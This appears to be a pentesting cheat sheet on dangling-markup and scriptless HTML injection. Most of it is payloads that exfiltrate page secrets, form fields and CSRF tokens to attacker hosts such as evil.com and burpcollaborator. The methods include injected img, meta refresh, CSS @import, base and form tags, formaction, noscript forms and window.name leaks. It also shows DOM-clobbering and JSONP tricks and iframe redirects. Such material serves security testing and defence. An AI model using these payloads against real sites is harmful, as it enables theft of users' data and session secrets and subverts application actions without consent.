Dangling Markup - HTML scriptless injection
This technique can be use to extract information from a user when an HTML injection is found. This is very useful if you don't find any way to exploit a XSS but you can inject some HTML tags.
It is also useful if some secret is saved in clear text in the HTML and you want to exfiltrate it from the client, or if you want to mislead some script execution.
Several techniques commented here can be used to bypass some Content Security Policy by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
If you inject
<img src='http://evil.com/log.cgi? when the page is loaded the victim will send you all the code between the injected img tag and the next quote inside the code. If a secret is somehow located in that chunk, you will steal i t(you can do the same thing using a double quote,take a look which could be more interesting to use).If the
img tag is forbidden (due to CSP for example) you can also use <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Note that Chrome blocks HTTP URLs with "<" or "\n" in it, so you could try other protocol schemes like "ftp".
You can also abuse CSS
@import (will send all the code until it find a ";")<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
You could also use
<table:<table background='//your-collaborator-id.burpcollaborator.net?'
You could also insert a
<base tag. All the information will be sent until the quote is closed but it requires some user interaction (the user must click in some link, because the base tag will have changed the domain pointed by the link):<base target=' <--- Injected
steal me'<b>test</b>
<base href='http://evil.com/'>
Then, the forms that send data to path (like
<form action='update_profile.php'>) will send the data to the malicious domain.Set a form header:
<form action='http://evil.com/log_steal'> this will overwrite the next form header and all the data from the form will be sent to the attacker.The button can change the URL where the information of the form is going to be sent with the attribute "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
An attacker can use this to steal the information.
Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field:
<input type='hidden' name='review_body' value="
and this input field will contain all the content between its double quote and the next double quote in the HTML. This attack mix the "Stealing clear text secrets" with "Stealing forms2".
You can do the same thing injecting a form and an
<option> tag. All the data until a closed </option> is found will be sent:<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
You can change the path of a form and insert new values so an unexpected action will be performed:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
<noscript></noscript> Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in chrome://settings/content/javascript).A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
From this portswiggers research you can learn that even from the most CSP restricted environments you can still exfiltrate data with some user interaction. In this occasion we are going to use the payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Note that you will ask the victim to click on a link that will redirect him to payload controlled by you. Also note that the
target attribute inside the base tag will contain HTML content until the next single quote.
This will make that the value of window.name if the link is clicked is going to be all that HTML content. Therefore, as you control the page where the victim is accessing by clicking the link, you can access that window.name and exfiltrate that data:<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Create variables inside javascript namespace by inserting HTML tags. Then, this variable will affect the flow of the application:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Or you can even try to execute some javascript:
<script src='/search?q=a&call=alert(1)'></script>
Notice that a child document can view and set location property for parent, even if cross-origin. This means that you can make the client access any other page by loading inside an iframe some code like:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
This can be mitigated with something like: sandbox=’ allow-scripts allow-top-navigation’
An iframe can also be abused to leak sensitive information from a different page using the iframe name attribute. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the sensitive info appear inside the iframe name attribute and then access that name from the initial iframe and leak it.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
You could use
meta http-equiv to perform several actions like setting a Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> or performing a redirect (in 5s in this case): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />This can be avoided with a CSP regarding http-equiv (
Content-Security-Policy: default-src 'self';, or Content-Security-Policy: http-equiv 'self';)You can find a very interesting research on exploitable vulnerabilities of the <portal tag here.
At the moment of this writing you need to enable the portal tag on Chrome in
chrome://flags/#enable-portals or it won't work.<portal src='https://attacker-server?
Not all the ways to leak connectivity in HTML will be useful for Dangling Markup, but sometimes it could help. Check them here: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
XS-Search are oriented to exfiltrate cross-origin information abusing side channel attacks.Therefore, it's a different technique than Dangling Markup, however, some of the techniques abuse the inclusion of HTML tags (with and without JS execution), like CSS Injection or Lazy Load Images.
All the techniques presented here and more can view reviewed with more details in:
Another HTML tags that can be abused can be find here:
More info: